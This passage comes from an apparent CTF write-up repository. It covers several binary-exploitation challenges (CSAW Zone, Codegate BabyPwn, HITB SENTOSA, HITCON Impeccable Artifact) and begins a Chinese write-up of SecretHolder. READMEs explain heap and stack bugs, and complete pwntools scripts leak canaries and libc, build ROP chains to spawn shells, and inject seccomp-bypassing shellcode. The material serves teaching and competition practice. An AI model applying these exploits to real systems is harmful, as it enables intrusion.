70 | *(bin_ptr + 8) = *(victim + 8); // head of list will be replaced with fd of currently allocated block
71 | else
72 | *(bin_ptr + 8) = 0;
73 | *(victim + 8) = 0; // clear fd filed of currently allocated block
74 | result = victim + 16;
75 | }
76 | else
77 | {
78 | result = 0;
79 | }
80 | return result;
81 | ```
82 |
83 | * `Delete block` will de-allocate a block and insert it to head of one of the lists according to its `size`. `fd` of this block will be filled with original head of this list.
84 |
85 | ```c
86 | if ( victim )
87 | {
88 | *(victim + 8) = *(bin_ptr + 8); // fill fd of the de-allocated block with current head of list
89 | result = bin_ptr;
90 | *(bin_ptr + 8) = victim; // this block will become head of list
91 | }
92 | return result;
93 | ```
94 |
95 | Until now, we can notice that the implementation is quite like the fastbin mechanism in glibc, especially the LIFO property.
96 |
97 | * `Write to last block` can write some data to most recently allocated block. The length limit of input is `size+1`, we can utilize this 1-byte overflow to overwrite `size` of following adjacent block.
98 |
99 | ```c
100 | for ( i = 0; i <= size; ++i ) // 1-byte overflow
101 | {
102 | if ( (unsigned int)read(0, &buf, 1uLL) == -1 )
103 | exit(-1);
104 | if ( buf == '\n' )
105 | break;
106 | *victim++ = buf;
107 | }
108 | ```
109 |
110 | * `Print last block` will print contents of most recently allocated block using `puts`
111 |
112 | My plan is utilizing the trick similar to fastbin corruption to get a fake chunk at stack, and craft ROP chain to open shell. This will usually come with the challenge to find proper value on stack to serve as `size` of a fast chunk to circumvent the check.
113 | In this allocator, however, no such check exists ! Hence we get much more flexibility when picking target.
114 |
115 | ## Exploit
116 |
117 | In this case, my target is get a fake chunk at `return address of main - 16`, since return address of `main` will be instruction in `__libc_start_main`, which is located at libc. By choosing this, I can first leak libc address, then immediately write ROP chain on it, Perfect !
118 | First of all, I allocate a 0x40 block, and overwrite `size` of following adjacent block to 0x80. Then I allocate 0x40 block again to get this size-modified block.
119 | Next, I de-allocate the size-modified block, this will make it be inserted into 0x80 list. After that, I allocate 0x80 block to get this size-modified block again, this make me get a 0x80 block among 0x40 blocks, which means I can overwrite `fd` of following 0x40 block !
120 |
121 |
122 | the range we can write is marked as bold
123 |
124 | 0x7fb09a2c8000: 0x0000000000000040 0x0000000000000000
125 | 0x7fb09a2c8010: 0x4141414141414141 0x4141414141414141
126 | 0x7fb09a2c8020: 0x4141414141414141 0x4141414141414141
127 | 0x7fb09a2c8030: 0x4141414141414141 0x4141414141414141
128 | 0x7fb09a2c8040: 0x4141414141414141 0x4141414141414141
129 | 0x7fb09a2c8050: 0x0000000000000080 0x0000000000000000
130 | 0x7fb09a2c8060: 0x0000000000000000 0x0000000000000000
131 | 0x7fb09a2c8070: 0x0000000000000000 0x0000000000000000
132 | 0x7fb09a2c8080: 0x0000000000000000 0x0000000000000000
133 | 0x7fb09a2c8090: 0x0000000000000000 0x0000000000000000
134 | 0x7fb09a2c80a0: 0x0000000000000040 0x00007f30066980f0 <- I can overwrite this fd field
135 | 0x7fb09a2c80b0: 0x0000000000000000 0x0000000000000000
136 | 0x7fb09a2c80c0: 0x0000000000000000 0x0000000000000000
137 | 0x7fb09a2c80d0: 0x0000000000000000 0x0000000000000000
138 | 0x7fb09a2c80e0: 0x0000000000000000 0x0000000000000000
139 |
140 |
141 | After overwriting `fd` of a 0x40 block, I allocate 0x40 block 2 times, the second allocation will be our target fake block. Finally, I can leak libc address and do ROP to open shell and cat the flag !
142 |
143 | flag: `flag{d0n7_let_m3_g3t_1n_my_z0n3}`
144 |
--------------------------------------------------------------------------------
/CSAW-2017-qual/Zone/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 |
4 | #r = remote('127.0.0.1', 4000)
5 | r = remote('pwn.chal.csaw.io', 5223)
6 | libc = ELF('libc-2.23.so')
7 |
8 | libc_start_main_240_off = 0x20830
9 |
10 | def allocate(size):
11 | r.sendlineafter('Exit\n', '1')
12 | r.sendline(str(size))
13 |
14 | def delete():
15 | r.sendlineafter('Exit\n', '2')
16 |
17 | def write(content):
18 | r.sendlineafter('Exit\n', '3')
19 | r.send(content)
20 |
21 | def print_block():
22 | r.sendlineafter('Exit\n', '4')
23 |
24 | def exit():
25 | r.sendlineafter('Exit\n', '5')
26 |
27 | r.recvuntil('Environment setup: ')
28 | arena = int(r.recvn(14), 16)
29 | log.success('arena: ' + hex(arena))
30 |
31 | # overwrite size of next 0x40 block to 0x80
32 | allocate(64)
33 | write('A'*64 + '\x80')
34 | # allocate and deallocate the modified chunk to insert it into chain of 0x80 chunks
35 | allocate(64)
36 | delete()
37 | # get the modified chunk from 0x80 chain,
38 | # this will make us write 0x81 byte among 0x40 chunks, so we can overwrite the fd-like field of following 0x40 chunk.
39 | # The concept is fastbin corruption, except for that the size field will not be checked !
40 | # my target here is 0x10 byte before return address of main(), which points to libc
41 | allocate(128)
42 | write('B'*64 + p64(0x40) + p64(arena+0x78) + '\n')
43 | # get the fake chunk and leak libc address
44 | allocate(64)
45 | allocate(64)
46 |
47 | print_block()
48 | libc_base = u64(r.recvn(6) + '\x00'*2) - libc_start_main_240_off
49 | log.success('libc base: ' + hex(libc_base))
50 | pop_rdi_ret = libc_base + 0x21102
51 | binsh = libc_base + next(libc.search('/bin/sh\x00'))
52 | system = libc_base + libc.symbols['system']
53 |
54 | # write to the fake chunk to overwrite return address of main() to ROP chain
55 | write(p64(pop_rdi_ret) + p64(binsh) + p64(system) + '\n')
56 | exit()
57 |
58 | r.interactive()
59 |
--------------------------------------------------------------------------------
/CSAW-2017-qual/Zone/libc-2.23.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/CSAW-2017-qual/Zone/libc-2.23.so
--------------------------------------------------------------------------------
/CSAW-2017-qual/Zone/zone:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/CSAW-2017-qual/Zone/zone
--------------------------------------------------------------------------------
/Codegate-CTF-2017-prequalification/BabyPwn/README.md:
--------------------------------------------------------------------------------
1 | # BabyPwn
2 |
3 | RELRO: Partial RELRO
4 | Stack: Canary found
5 | NX: NX enabled
6 | PIE: No PIE
7 |
8 | 這題和 [tutorial](https://github.com/briansp8210/CTF_writeup/tree/master/CSAW_2016/tutorial) 蠻像的,要先 leak 出 canary 以及 libc address,並在開 shell 之前先利用 `dup2` 將 file descripter 設好。
9 |
10 | ## exploit
11 |
12 | 題目使用的 input function 會固定接收 100bytes 的輸入,但 output function 則會用 `strlen(buf)` 來決定輸出長度。所以算好 offset,把 canary 的 null byte 蓋掉,就可以 leak 出他的值。
13 |
14 | ```c
15 | ssize_t input_func(void *buf, size_t len)
16 | {
17 | int v2;
18 | ssize_t result;
19 | int v4;
20 |
21 | v2 = *MK_FP(__GS__, 20);
22 | result = recv(fd, buf, len, 0);
23 | v4 = *MK_FP(__GS__, 20) ^ v2;
24 | return result;
25 | }
26 | ```
27 |
28 | ```c
29 | ssize_t output_func(const char *buf)
30 | {
31 | int v1;
32 | size_t len;
33 | ssize_t result;
34 | int v4;
35 |
36 | v1 = *MK_FP(__GS__, 20);
37 | len = strlen(buf);
38 | result = send(fd, buf, len, 0);
39 | v4 = *MK_FP(__GS__, 20) ^ v1;
40 | return result;
41 | }
42 | ```
43 |
44 | 接著就利用 stack overflow 來做 ROP,首先用 `output_func` 多 leak 出幾個 GOT 上的位址,在 [libcdb.com](http://libcdb.com/libc/92) 比較找到對應的 libc。
45 | 再來也把存在 `.bss` 上的 `fd` 給讀出來,準備給 `dup2` 用。
46 |
47 | ```python
48 | # 因為已經確定 libc 版本了,這裡就只有讀出一個來用
49 | r.sendafter('Input Your Message : ',
50 | 'A'*40 + p32(canary) + 'B'*12 +
51 | p32(write_output) + p32(pop_ebx_ret) + p32(send_got) +
52 | p32(write_output) + p32(menu) + p32(fd_addr)
53 | )
54 | ```
55 |
56 | return 回選單 function 後,就可以做第二次 ROP,先用 `dup2` 把 `stdin` 和 `stdout` 設好,再 `system("sh")` 就可以順利拿 shell 了。
57 |
58 | ```python
59 | r.sendafter('Input Your Message : ',
60 | 'A'*40 + p32(canary) + 'B'*12 +
61 | p32(dup2) + p32(pop_edi_ebp_ret) + p32(fd) + p32(0) +
62 | p32(dup2) + p32(pop_edi_ebp_ret) + p32(fd) + p32(1) +
63 | p32(system_plt) + p32(0xdeadbeef) + p32(sh)
64 | )
65 | ```
66 |
67 | `FLAG{Good_Job~!Y0u_@re_Very__G@@d!!!!!!^.^}`
68 |
--------------------------------------------------------------------------------
/Codegate-CTF-2017-prequalification/BabyPwn/babypwn:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/Codegate-CTF-2017-prequalification/BabyPwn/babypwn
--------------------------------------------------------------------------------
/Codegate-CTF-2017-prequalification/BabyPwn/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 |
4 | r = remote('110.10.212.130', 8889)
5 | #r = remote('127.0.0.1', 8181)
6 | libc = ELF('libc-2.19_16.so')
7 |
8 | read_input = 0x08048907
9 | write_output = 0x080488b1
10 | fd_addr = 0x0804B1B8
11 | send_plt = 0x08048700
12 | send_got = 0x804b064
13 | send_off = libc.symbols['send']
14 | system_plt = 0x08048620
15 | pop_ebx_ret = 0x08048589
16 | dup2_off = libc.symbols['dup2']
17 | menu = 0x8048a71
18 | pop_edi_ebp_ret = 0x08048b84
19 |
20 | # leak canary
21 | r.sendlineafter('Select menu > ', str(1))
22 | r.sendafter('Input Your Message : ', 'A'*40+'B')
23 | r.recvuntil('A'*40+'B')
24 | canary = u32('\x00'+r.recvn(3))
25 | print 'canary is: ', hex(canary)
26 |
27 | # leak send@got.plt address and fd stored on .bss
28 | r.sendlineafter('Select menu > ', str(1))
29 | r.sendafter('Input Your Message : ',
30 | 'A'*40 + p32(canary) + 'B'*12 +
31 | p32(write_output) + p32(pop_ebx_ret) + p32(send_got) +
32 | p32(write_output) + p32(menu) + p32(fd_addr)
33 | )
34 |
35 | # select "3. Exit" to make this function return to run ROP chain
36 | r.sendlineafter('Select menu > ', str(3))
37 |
38 | base = u32(r.recv()[0:4]) - send_off
39 | print 'libc base: ', hex(base)
40 | dup2 = base + dup2_off
41 | sh = base + next(libc.search('sh\x00'))
42 |
43 | fd = int(enhex(r.recvn(1)), 16)
44 | print 'fd: ', hex(fd)
45 |
46 | r.sendlineafter('Select menu > ', str(1))
47 | r.sendafter('Input Your Message : ',
48 | 'A'*40 + p32(canary) + 'B'*12 +
49 | p32(dup2) + p32(pop_edi_ebp_ret) + p32(fd) + p32(0) +
50 | p32(dup2) + p32(pop_edi_ebp_ret) + p32(fd) + p32(1) +
51 | p32(system_plt) + p32(0xdeadbeef) + p32(sh)
52 | )
53 |
54 | r.sendlineafter('Select menu > ', str(3))
55 |
56 | r.interactive()
57 |
--------------------------------------------------------------------------------
/Codegate-CTF-2017-prequalification/BabyPwn/libc-2.19_16.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/Codegate-CTF-2017-prequalification/BabyPwn/libc-2.19_16.so
--------------------------------------------------------------------------------
/HITB-GSEC-CTF-2017/SENTOSA/README.md:
--------------------------------------------------------------------------------
1 | # SENTOSA
2 |
3 | I solved this challenge after the competition ended, still enjoying the exploit process :D
4 |
5 | ```
6 | Arch: amd64-64-little
7 | RELRO: Full RELRO
8 | Stack: Canary found
9 | NX: NX enabled
10 | PIE: PIE enabled
11 | FORTIFY: Enabled
12 | ```
13 |
14 | ## analysis
15 |
16 | ```
17 | Welcome to Sentosa Development Center
18 | Choose your action:
19 | 1. Start a project
20 | 2. View all projects
21 | 3. Edit a project
22 | 4. Cancel a project
23 | 5. Exit
24 | ```
25 |
26 | * `Start a project` can create a project, which has information stored in heap with following structure, and the address of this chunk will be stored to a global array
27 |
28 | ```
29 | +---------------+
30 | | name length | 4
31 | +---------------+
32 | | |
33 | | name | name_len + 1
34 | | |
35 | +---------------+
36 | | sanity check | 4
37 | +---------------+
38 | | price | 4
39 | +---------------+
40 | | area | 4
41 | +---------------+
42 | | capacity | 4
43 | +---------------+
44 | ```
45 |
46 | * `View all projects` will fetch each information chunk according to aforementioned global array and display their information
47 | * `Edit a project` is not implemented
48 | * `Cancel a project` will do sanity check and free the information chunk of a specific project. Then clear this address from the global array
49 |
50 | In start project function, all attributes are directly written, while `name` is first read into stack then `strncpy` to heap. The read input function looks like this:
51 |
52 | ```c
53 | void read_input(char *target, int len)
54 | {
55 | int len2 = len - 1;
56 | char *target_iter;
57 | int64_t idx;
58 | char buf;
59 |
60 | if(len2)
61 | {
62 | target_iter = target;
63 | idx = 0;
64 | do
65 | {
66 | read(0, &buf, 1);
67 | if(buf == '\n')
68 | {
69 | target[idx] = 0;
70 | return;
71 | }
72 | idx++;
73 | *target_iter++ = buf;
74 | }
75 | while(idx != len2);
76 | }
77 | else
78 | {
79 | idx = 0;
80 | }
81 | target[idx] = 0;
82 | return;
83 | }
84 | ```
85 |
86 | Thus, we can input only length-1 bytes, and a null byte will be appended at the end.
87 | But wait, if `len` is 0, then we can input massive number of bytes, which indeed long enough to overwrite return address !
88 | There is canary on stack, however, so the only valuable thing I can overwrite is the address points to the information chunk. Arbitrary read is possible by overwriting this pointer to `target address - 4`, this fake pointer will be stored to global array, then we can use Visit to print the contents of target address when name field is printed.
89 |
90 |
91 | 0x00007f1a7d560780 0x000000437d2916e0
92 | name buf -> 0x0000000000000000 0x0000000000000000
93 | 0x0000000000000000 0x0000000000000000
94 | 0x0000000000000000 0x0000000000000000
95 | 0x0000000000000000 0x0000000000000000
96 | 0x0000000000000000 0x0000000000000000
97 | 0x0000000000000000 +-> 0x55f084ace0100000
98 | 0x0000000000000000 | 0x69ad78b4f31ef400
99 | 0x000055f082b0a29a | 0x000055f082b0a3f8
100 | 0x00007ffcce3e5004 | 0x000055f082b09a30
101 | 0x00007ffcce3e5120 | 0x000055f082b0a117 <- ret address of Start project
102 | |
103 | information pointer
104 |
105 |
106 | ## exploit
107 |
108 | First, since still no useful address available, I want to use null-byte overflow **(since the read input function will append null byte, we can't control the value of last byte)** to make the pointer points to somewhere a heap address locates, .
109 | To achieve this goal, I create proper number and size of project, then free two fast chunks with the same size, so that the fd field of target chunk will be filled, thus successfully get heap address.
110 |
111 |
112 | The fd field locates across price and area field of a project
113 |
114 | 0x55f084ace000: 0x0000000000000000 0x0000000000000061
115 | 0x55f084ace010: 0x4141414100000043 0x0000000000000000
116 | 0x55f084ace020: 0x0000000000000000 0x0000000000000000
117 | 0x55f084ace030: 0x0000000000000000 0x0000000000000000
118 | 0x55f084ace040: 0x0000000000000000 0x0000000000000000
119 | 0x55f084ace050: 0x0000000000000000 0x0000000100000001
120 | 0x55f084ace060: 0x0000000300000002 0x0000000000000051
121 | 0x55f084ace070: 0x4242424200000033 0x0000000000000000
122 | 0x55f084ace080: 0x0000000000000000 0x0000000000000000
123 | 0x55f084ace090: 0x0000000000000000 0x0000000000000000
124 | 0x55f084ace0a0: 0x0000000000000000 0x0000000400000001
125 | 0x55f084ace0b0: 0x0000000600000005 0x0000000000000051
126 | 0x55f084ace0c0: 0x4343434300000033 0x0000000000000000
127 | 0x55f084ace0d0: 0x0000000000000000 0x0000000000000000
128 | 0x55f084ace0e0: 0x0000000000000000 0x0000000000000000
129 | 0x55f084ace0f0: 0x0000000000000000 0x0000000700000001
130 | 0x55f084ace100: 0x0000000900000008 0x0000000000000041
131 | 0x55f084ace110: 0x000055f084ace180 0x0000000000000000
132 | 0x55f084ace120: 0x0000000000000000 0x0000000100000000
133 | 0x55f084ace130: 0x0000000b0000000a 0x000000000000000c
134 | 0x55f084ace140: 0x0000000000000000 0x0000000000000021
135 | 0x55f084ace150: 0x0000004500000003 0x0000000d00000001
136 | 0x55f084ace160: 0x0000000f0000000e 0x0000000000000021
137 | 0x55f084ace170: 0x0000010000000000 0x0000110000001000
138 | 0x55f084ace180: 0x0000000000001200 0x0000000000000041
139 | 0x55f084ace190: 0x0000000000000000 0x0000000000000000
140 | 0x55f084ace1a0: 0x0000000000000000 0x0000000000000000
141 | 0x55f084ace1b0: 0x0000000000000000 0x0000001300000001
142 |
143 |
144 | With heap base address, I can arbitrarily read content on heap.
145 | My plan is to allocate small chunks then free one of them so that libc address will appear on heap. Unfortunately, the maximum chunk can be allocated is still fast chunk, so I had to forge these small chunks, which took quite lots of time since null byte can't be used under the usage of `strncpy`, and sanity check must be satisfied.
146 | After trial and error, I finally get libc address, then continue to leak stack address by `environ` symbol. And finally, leak stack canary by stack address with ease.
147 | With stack canary, we can do ROP to open shell !
148 |
149 | flag: `HITB{Thank_y0u_f0r_d3v3l0ping_SENTOSA}`
150 |
--------------------------------------------------------------------------------
/HITB-GSEC-CTF-2017/SENTOSA/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 |
4 | r = remote('127.0.0.1', 4000)
5 | #r = remote('47.74.144.222', 20007)
6 | libc = ELF('libc.so.6')
7 |
8 | def start(name_len, name, price, area, capacity):
9 | r.sendlineafter('5. Exit', '1')
10 | r.sendlineafter('Input length of your project name: ', str(name_len))
11 | r.sendafter('Input your project name: ', name)
12 | r.sendlineafter('Input your project price: ', str(price))
13 | r.sendlineafter('Input your project area: ', str(area))
14 | r.sendlineafter('Input your project capacity: ', str(capacity))
15 |
16 | def view():
17 | r.sendlineafter('5. Exit', '2')
18 |
19 | def edit():
20 | r.sendlineafter('5. Exit', '3')
21 |
22 | def cancel(proj_idx):
23 | r.sendlineafter('5. Exit', '4')
24 | r.sendlineafter('Input your projects number: ', str(proj_idx))
25 |
26 | start(96-29, 'AAAA\n', 1, 2, 3) #0
27 | start(80-29, 'BBBB\n', 4, 5, 6) #1
28 | start(80-29, 'CCCC\n', 7, 8, 9) #2
29 | start(23, 'DDDD\n', 10, 11, 12) #3
30 |
31 | start(32-29, 'E'+'\n', 13, 14, 15) #4
32 | start(0, 'F'*90+'\n', 16, 17, 18) #5
33 | start(64-29, 'GGGG\n', 19, 20, 21) #6
34 |
35 | cancel(6)
36 | cancel(3)
37 |
38 | # leak heap base
39 | view()
40 | r.recvuntil('Capacity: 15')
41 | r.recvuntil('Price: ')
42 | mid = (int(r.recvline()[:-1], 10) & 0xffffffff) << 8
43 | r.recvuntil('Area: ')
44 | front = int(r.recvline()[:-1], 10) << 40
45 | heap_base = front + mid + 0x80 - 0x180
46 | log.success('heap base: ' + hex(heap_base))
47 |
48 | start(0x40-29, 'aaaa\n', 0x44444444, 0x45454545, 0x46464646) #3
49 |
50 | start(45-29, 'HHHH\x01\x01\n', 0, 0, 0) #6
51 | start(0x40-29, 'IIII\n', 22, 23, 24) #7
52 | start(0x40-29, 'JJJJ\n', 25, 26, 27) #8
53 | start(0x40-29, 'KKKK\n', 28, 29, 30) #9
54 | start(0x40-29, 'LLLL\n', 31, 32, 33) #10
55 | start(36-29, 'MMMM\n', 0x101, 1094795585, 0x101) #11
56 | start(0x50-29, 'NNNN\n', 34, 35, 36) #12
57 | start(0x50-29, 'OOOO\n', 37, 38, 39) #13
58 | start(0x30-29, 'PPPP\n', 40, 41, 42) #14
59 | start(36-29, 'QQQQ\n', 0x101, 1094795585, 0x21) #15
60 |
61 | #raw_input('#')
62 |
63 | cancel(0)
64 | cancel(1)
65 | cancel(2)
66 |
67 | start(0, 'R'*90+p64(heap_base+0x1e0)[:6]+'\n', 43, 44, 45) #0
68 | cancel(0)
69 |
70 | #raw_input('#')
71 |
72 | # to prevent invalid access during following view()
73 | cancel(8)
74 | cancel(9)
75 | cancel(10)
76 | cancel(11)
77 | cancel(12)
78 | cancel(13)
79 | cancel(14)
80 | cancel(15)
81 |
82 | # leak libc address
83 | start(0, 'S'*90+p64(heap_base+0x200-4)[:6]+'\n', 46, 47, 48) #0
84 | view()
85 | r.recvuntil('Project: ')
86 | libc_base = u64(r.recvn(6)+'\x00'*2) - 0x3c3b78
87 | log.success('libc base: ' + hex(libc_base))
88 | environ = libc_base + libc.symbols['environ']
89 | pop_rdi_ret = libc_base + 0x21102
90 | binsh = libc_base + next(libc.search('/bin/sh\x00'))
91 | system = libc_base + libc.symbols['system']
92 |
93 | # leak stack address
94 | start(0, 'S'*90+p64(environ-4)[:6]+'\n', 49, 50, 51) #1
95 | view()
96 | r.recvuntil('Project: ')
97 | r.recvuntil('Project: ')
98 | stack_addr = u64(r.recvn(6)+'\x00'*2)
99 | log.success('stack address: ' + hex(stack_addr))
100 | canary_addr = stack_addr - 0x100 + 1
101 |
102 | # leak canary
103 | start(0, 'T'*90+p64(canary_addr-4)[:6]+'\n', 52, 53, 54) #2
104 | view()
105 | r.recvuntil('Project: ')
106 | r.recvuntil('Project: ')
107 | r.recvuntil('Project: ')
108 | canary = u64('\x00'+r.recvn(7))
109 | log.success('canary: ' + hex(canary))
110 |
111 | raw_input('#')
112 |
113 | # stack overflow !
114 | start(0, 'U'*104+p64(canary)+'U'*40+p64(pop_rdi_ret)+p64(binsh)+p64(system)+'\n', 55, 56, 57)
115 |
116 | r.interactive()
117 |
--------------------------------------------------------------------------------
/HITB-GSEC-CTF-2017/SENTOSA/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/HITB-GSEC-CTF-2017/SENTOSA/libc.so.6
--------------------------------------------------------------------------------
/HITB-GSEC-CTF-2017/SENTOSA/sentosa:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/HITB-GSEC-CTF-2017/SENTOSA/sentosa
--------------------------------------------------------------------------------
/HITCON-2017-qual/Impeccable-Artifact/README.md:
--------------------------------------------------------------------------------
1 | # 完美無瑕\~Impeccable Artifact\~
2 |
3 | ```
4 | Arch: amd64-64-little
5 | RELRO: Full RELRO
6 | Stack: Canary found
7 | NX: NX enabled
8 | PIE: PIE enabled
9 | ```
10 |
11 | ## Analysis
12 |
13 | This challenge is a memo system, we can write to and read from stack. The target index isn't checked, thus we get handy arbitrarily read/write to use.
14 |
15 | ```c
16 | while ( 1 )
17 | {
18 | menu();
19 | idx = 0;
20 | _isoc99_scanf("%d", &choice);
21 | if ( choice != 1 && choice != 2 )
22 | break;
23 | puts("Idx?");
24 | _isoc99_scanf("%d", &idx);
25 | if ( choice == 1 )
26 | {
27 | printf("Here it is: %lld\n", memo[idx]); // arbitrarily read
28 | }
29 | else
30 | {
31 | puts("Give me your number:");
32 | _isoc99_scanf("%lld", &memo[idx]); // arbitrarily write
33 | }
34 | }
35 | ```
36 |
37 | We can't simply just leak libc base address and do ROP to get a shell, however, since it enables seccomp to blocks some system call.
38 | Thanks for the powerful [seccomp-tools](https://github.com/david942j/seccomp-tools) developed by **@david942j**, we can trace the seccomp filter clearly:
39 |
40 | 
41 |
42 | Apparently, `execve` and `execveat` get blocked, we need to find a way to leak the flag directly.
43 |
44 | ## Exploit
45 |
46 | My plan is gaining executable permission on `.bss` and writing shellcode to `open -> read -> write` the flag. For the system call I will use, I have to satisfy their constraints:
47 |
48 | * `mprotect`: `args[2] & 0x1 != 1`
49 | hence I set permission of partial `.bss` to `-wx`, this way `args[2]` will be 6
50 | * `open`: `sys_number == args[2]`
51 | under x86_64, syscall number of `open` is 2, thus I set the third argument to 2
52 | * `read`: allow directly
53 | * `write`: allow directory
54 |
55 | With this constraints in mind, I construct ROP chain to read shellcode, get executable permission and finally return to shellcode to print the flag out. I guess the path of flag to be `/home/artifact/flag` and it actually works :D
56 |
57 | flag: `hitcon{why_libseccomp_cheated_me_Q_Q}`
58 |
--------------------------------------------------------------------------------
/HITCON-2017-qual/Impeccable-Artifact/artifact:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/HITCON-2017-qual/Impeccable-Artifact/artifact
--------------------------------------------------------------------------------
/HITCON-2017-qual/Impeccable-Artifact/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 |
4 | #r = remote('127.0.0.1', 4000)
5 | r = remote('52.192.178.153', 31337)
6 | libc = ELF('libc.so.6')
7 | context.arch = 'amd64'
8 |
9 | def show(index):
10 | r.sendlineafter('Choice?\n', '1')
11 | r.sendlineafter('Idx?\n', str(index))
12 |
13 | def memo(index, num):
14 | r.sendlineafter('Choice?\n', '2')
15 | r.sendlineafter('Idx?\n', str(index))
16 | r.sendlineafter('Give me your number:\n', str(num))
17 |
18 | def leave():
19 | r.sendlineafter('Choice?\n', '3')
20 |
21 | # leak code base
22 | show(0xca)
23 | r.recvuntil('Here it is: ')
24 | code_base = (int(r.recvline()[:-1]) & 0xffffffffffffffff) - 0xbb0
25 | log.success('code base: ' + hex(code_base))
26 | bss = code_base + 0x202000
27 |
28 | # leak libc address
29 | show(0xcb)
30 | r.recvuntil('Here it is: ')
31 | libc_base = (int(r.recvline()[:-1]) & 0xffffffffffffffff) - 0x203f1
32 | log.success('libc base: ' + hex(libc_base))
33 |
34 | pop_rdi_ret = libc_base + 0x1fd7a
35 | pop_rsi_ret = libc_base + 0x1fcbd
36 | pop_rdx_ret = libc_base + 0x1b92
37 | mprotect = libc_base + libc.symbols['mprotect']
38 | read = libc_base + libc.symbols['read']
39 |
40 | # open, read and write /home/artifact/flag
41 | # let third argument of open be 2 is to satisfy the seccomp check: sys_number == args[2]
42 | shellcode = asm("""
43 | mov r8, 0x000000000067616c
44 | push r8
45 | mov r8, 0x662f746361666974
46 | push r8
47 | mov r8, 0x72612f656d6f682f
48 | push r8
49 | mov rdi, rsp
50 | xor rsi, rsi
51 | mov rdx, 0x2
52 | mov rax, 0x2
53 | syscall
54 |
55 | mov rdi, rax
56 | mov rsi, {}
57 | mov rdx, 0x60
58 | xor rax, rax
59 | syscall
60 |
61 | mov rdx, rax
62 | mov rdi, 1
63 | mov rsi, {}
64 | mov rax, 1
65 | syscall
66 | """.format(bss+0xf00, bss+0xf00))
67 |
68 | memo(0xcb, pop_rdi_ret)
69 | memo(0xcc, 0x0)
70 | memo(0xcd, pop_rsi_ret)
71 | memo(0xce, bss+0xc00)
72 | memo(0xcf, pop_rdx_ret)
73 | memo(0xd0, 0x200)
74 | memo(0xd1, read)
75 |
76 | memo(0xd2, pop_rdi_ret)
77 | memo(0xd3, bss)
78 | memo(0xd4, pop_rsi_ret)
79 | memo(0xd5, 0xe00)
80 | memo(0xd6, pop_rdx_ret)
81 | memo(0xd7, 0x6) # 0x6 & 0x1 != 1
82 | memo(0xd8, mprotect)
83 |
84 | memo(0xd9, bss+0xc00)
85 | leave() # trigger return to shellcode
86 |
87 | r.send(shellcode)
88 |
89 | r.interactive()
90 |
91 | # hitcon{why_libseccomp_cheated_me_Q_Q}
92 |
--------------------------------------------------------------------------------
/HITCON-2017-qual/Impeccable-Artifact/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/HITCON-2017-qual/Impeccable-Artifact/libc.so.6
--------------------------------------------------------------------------------
/HITCON-2017-qual/Impeccable-Artifact/seccomp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/HITCON-2017-qual/Impeccable-Artifact/seccomp.png
--------------------------------------------------------------------------------
/HITCONCTF_2016_qual/README.md:
--------------------------------------------------------------------------------
1 | # HITCONCTF_2016_qual
2 |
--------------------------------------------------------------------------------
/HITCONCTF_2016_qual/SecretHolder/README.md:
--------------------------------------------------------------------------------
1 | # Secret Holder
2 | 這題是比賽結束後照著 **bruce** 學長的想法解出來的,過程中除了複習了還不太熟悉的 unlink exploit 也新學到了幾個 heap 的特性,所以也寫一篇來記錄 XD。
3 |
4 | ## 觀察程式
5 | 首先看一下程式提供的幾項功能:
6 | * `keepSecret`:分配 3 種不同大小的空間,並接受對應大小的輸入到該空間
7 | * `wipeSecret`:`free` 掉某個大小的空間
8 | * `renewSecret`:可以重新寫入某個大小的空間
9 |
10 | 以及程式中 global 段的幾個變數:
11 | ```
12 | 0|-------------|
13 | | |
14 | | big_ptr | # point to allocated 40bytes
15 | | |
16 | 8|-------------|
17 | | |
18 | | huge_ptr | # point to allocated 4000bytes
19 | | |
20 | 16|-------------|
21 | | |
22 | | small_ptr | # point to allocated 400000bytes
23 | | |
24 | 24|-------------|
25 | | big_flag | # set to 1 when use keep big secret
26 | 28|-------------|
27 | | huge_flag | # set to 1 when use keep huge secret
28 | 32|-------------|
29 | | small_flag | # set to 1 when use keep small secret
30 | |-------------|
31 | ```
32 |
33 | ## 解題流程
34 |
35 | 在開始之前要先知道一件事。動態申請的空間到一定的大小後,會使用 `mmap` 來分配,得到的空間將不會在 heap 上。不過當我們 `free` 掉這塊空間後再次分配相同大小的空間,會發現他改用 `malloc` 來分配了!我有試著觀察這個機制,可以參考 [mmap_test](https://github.com/briansp8210/CTF_writeup/blob/master/HITCONCTF_2016_qual/SecretHolder/mmap_test.md)。
36 |
37 | 於是我們可以利用這點讓 huge 和 small 兩塊 chunk 重疊,並讓 big 接在 small 後面。
38 | 接著就可以開始準備做 unlink 的準備,這裡我們打算在 small chunk 裡面造假 chunk,接著 `free` big chunk,目標是在 unlink 後 huge_ptr 會等於 `(&huge_ptr - 0x18)`。
39 | 可以透過 renew huge 來寫入要控的值:
40 |
41 | ```python
